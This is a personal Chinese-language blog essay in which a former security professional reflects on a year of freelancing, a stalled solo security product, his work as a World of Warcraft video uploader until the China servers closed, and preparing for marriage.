首先是安全这块，最早离开小米的时候其实初衷很简单，其实是希望能做一个逻辑自洽的产品，原谅我一下子很难找到一个定义来解释，但我可以举个例子。

在我刚上大学的时候，大概是14年15年左右的时候，当时初学markdown写博客，最早那会还没有现在这么丰富的在线文档，什么飞书、语雀、notion那会儿就算有也不流行，那会儿普遍用的比较多的是markdownpad2一个桌面编辑器，很难用。当时我特别喜欢用一个叫做作业部落的东西。

这个东西很好用，当时高级会员可以直接传图片，网站还可以直接分享链接并且导出pdf，这个网站我用了很多年，每年都要花99续费，但实际上这个网站从16年左右好像就不更新了，这个作者除了维持服务器运营以外没有修改过任何东西。直到后来有一次chrome更新隐私策略，好像是不能引用非绿锁的https下的图片，到那之后我才逐渐更换使用其他的软件。

这个东西其实当时给我很大的启发，一个比较成熟的能逻辑自洽的产品做出来之后，他就可以依托运营很长的时间，其开发者也能从中收益。这件事情我在之前的生活随笔里也提到过好几次，其实在安全圈子里也有不少的范例，比如说p师傅或者漂亮鼠的知识星球，又或者是Yakit，其实有不少人已经在这条路上做了努力。

我开始的想法其实就是做一个类似的东西，这个东西具体是什么这里先不提，因为这个东西我没打算放弃。但更大的问题是，在开发了2个月左右的时候，我遇到了一个究极大难题，就是这个东西比我想象中的麻烦很多，我试图一个人做出来时一件很愚蠢的尝试。

在意识到这件事情之后，是我第一次开始纠结要不要放弃，然后进厂拧螺丝，但人生路径总归不是单线程，除了安全方面的工作还有另一些事情法生，于是命运的三岔口又开始有一些变化。

up主

行文到这里突然有点儿感慨，去翻了翻之前的文章里的截图，这是1年前我的数据

这是现在的数据，其实变化远不止这么小，因为除了B站以外还有抖音和西瓜的账号。从这件事情我获得的东西也远不是数据上表现的那么简单。

再说回到做up主这件事情上，其实做视频这件事情起因没多复杂，我相信很多朋友都多多少少尝试过录视频，直播等等。我的起因也不算复杂，开始就是录视频玩，因为我本身是一个喜欢写东西的人，做安全的时候喜欢写漏洞分析，玩魔兽的时候也在NGA写过攻略帖，后来就也尝试着做视频试试看。

可能是由于魔兽的核心内容的确小众，所以内容做的还可以，逐渐逐渐就火了不少，在自由职业之后我也尝试把它当作一份工作去完成。固定直播时间（虽然每周只直播几个小时），探索视频的内容和宽度，也尝试各种剪辑风格和方向。

和安全不一样的是，做up主这件事情对我来说反馈很强烈，我把想做的内容做的好一点儿，看的人就会多一点儿粉丝就会多一点儿。潜心琢磨的好活就会得到别人的认可和催更(B站消息和抖音消息常年99+)。而这个时期正赶上前面我做安全的困扰很深，所以在去年年中的1、2个月里我投入了大量的精力去做视频，去努力尝试做好一份我可能不擅长的事情。

换来的结果其实也还不错，但对我来说，做up主始终是一份兼职，所以在这方面我努力保持克制，去年1年里也只接过1个还不错的“恰饭”，在后面的调整中我也努力调整做up主这份工作在生活中的占比，但不可避免的是，我没能力很好的平衡这两件事情，这也是第二次引起我困扰的主因。

一边我很想写好那个安全相关的东西，但由于反馈实在太弱且中期有一点儿半放弃的心态，每次开工作机的时候都要提前预设好今天要做什么，如果没想好就会出现心态上排斥去写代码。我觉得这个事情也很好理解，作为安全工作者挖洞的时候经常会遇到类似的事情，在面对那种安全做的很好的站点时总是很烦躁觉得没有破绽，心态上也会排斥看这些。

而另一边，做视频的反馈又很强烈，尤其是中间有两个阶段做了几个很成功的视频，会有非常非常多的人催更，我很难形容这样一个状态，就是做事情可以换来很强的成就感就会很爽，即便忙的一头雾水。当时很多视频非常非常难做，有的视频剪辑要弄十几个小时，我经常半夜3、4点还在剪视频，周末睡醒了到半夜都在写脚本剪视频，甚至除了直播基本不玩游戏（每周直播4个晚上）。现在看来当时应该正处于攀登愚昧之巅的状态。

在这样一个很鲜明场景下，我相信任何人都会做出类似的选择，毕竟一方面时间不够用要压榨休息时间、玩游戏时间，而另一方面心态上又半放弃，觉得找不到方向。中期有很长一段事情，关于安全方面的内容我主要集中在看看新闻、新的漏洞什么的，有个有趣的发现也是这个时候感觉到的，就是安全基本上到了一个新瓶颈，基本上过去1年都没见过什么新鲜玩意。

更有意思的是，没想到安全的新东西没等来，却等来了openai的风口，互联网的拐点兜来兜去回到了ai这里，我估计百度半条腿踏进坟墓之前都没想到自己压的宝其实还可以。

两个特殊的转折点

前文说到由于无法平衡这两件事上投入的精力，所以在10月左右的时候我遇到了第二次究极困扰。

一方面是我自由职业的本因-安全方面是一个不可解的困局，我只有选择创业和放弃两条路，而另一方面是自由职业的副因-up主这方面正赶上黄金时期，如果我想要投入就能换来更好的结果。2选1这件事情我相信对于任何来讲都是天大的问题，但有句话说得好，逃避虽然可耻但是有用。

很快事情就变得没得选择，一个是11月的YQ，直接停摆。另一个是网易和暴雪突然断开链接，国服的魔兽没了。而做垂直游戏up主直接受到的影响就是，游戏没有玩家，就没有玩家会关注你。不是下坡路是路没了。

在这种情况下，我决定为这段经历付出最后的心血，在魔兽新版本10.0在国服最后的2个月内尽力做好魔兽的内容。这件事情一直持续到1月23日国服正式关闭。这段时间就好像末日狂欢一样，2个月多的时间内我肝了70+的视频，也算是站好最后一班岗。

伴随着这件事之后我开始切换生活的重心，年后又赶上生活到了另一个阶段，要为订婚/结婚做准备，各种杂乱的事情七七八八的忙，也开始调整心态为找工作做准备。

讲到这里还有个有意思的事情，在决定订婚的时候遇到了一个没想到的南北差异，选日子的时候，男方父母看的是万年历，女方父母看的是通书，在日子上会出现那种完全相反的寓意，不得不说在文化这块真的是图个心安。

后话

其实写这篇文章的时候写的很零碎，感觉有点儿想到什么写什么的感觉，和之前的几段生活不同，这段经历在我眼中可能还是身在此山中的状态，我还无法看透这段经历给我带来的是什么样的影响。

如果仅以现在的状态来说，我可能更后悔的是没能在两条路中真正坚决的选择其一，回想起来，如果我真的下决心做好一件事，无论是安全自由职业，还是up主或者主播可能都早以脱离迷茫的初期，反而是两手抓两边都不肯放弃的我，在面对鱼和熊掌的选择中错过了命运女神的垂怜。

但其实人就是这样的，在结果没发生之前单纯的相信美好，却又在结果发生之后cos诸葛亮，而事实却是只能努力在安逸的生活中寻找不同的生活重心，最近正赶上我的生活又遇到新的拐点，有很多时候回想这些事情有些眩晕感，似乎当年高中毕业离家上学工作的18岁小屁孩，时至今日已经面临成家立业背负责任的状态，就像我总说的一句话，每当你行至命运的三岔路口，踌躇不决的时候可能命运早就给你画好了以后的人生路。

最近也在接触各种各样的公司和朋友，希望下篇随笔分享的时候能带来更多清晰的结果，今天就写到这里。

阅读原文

跳转微信打开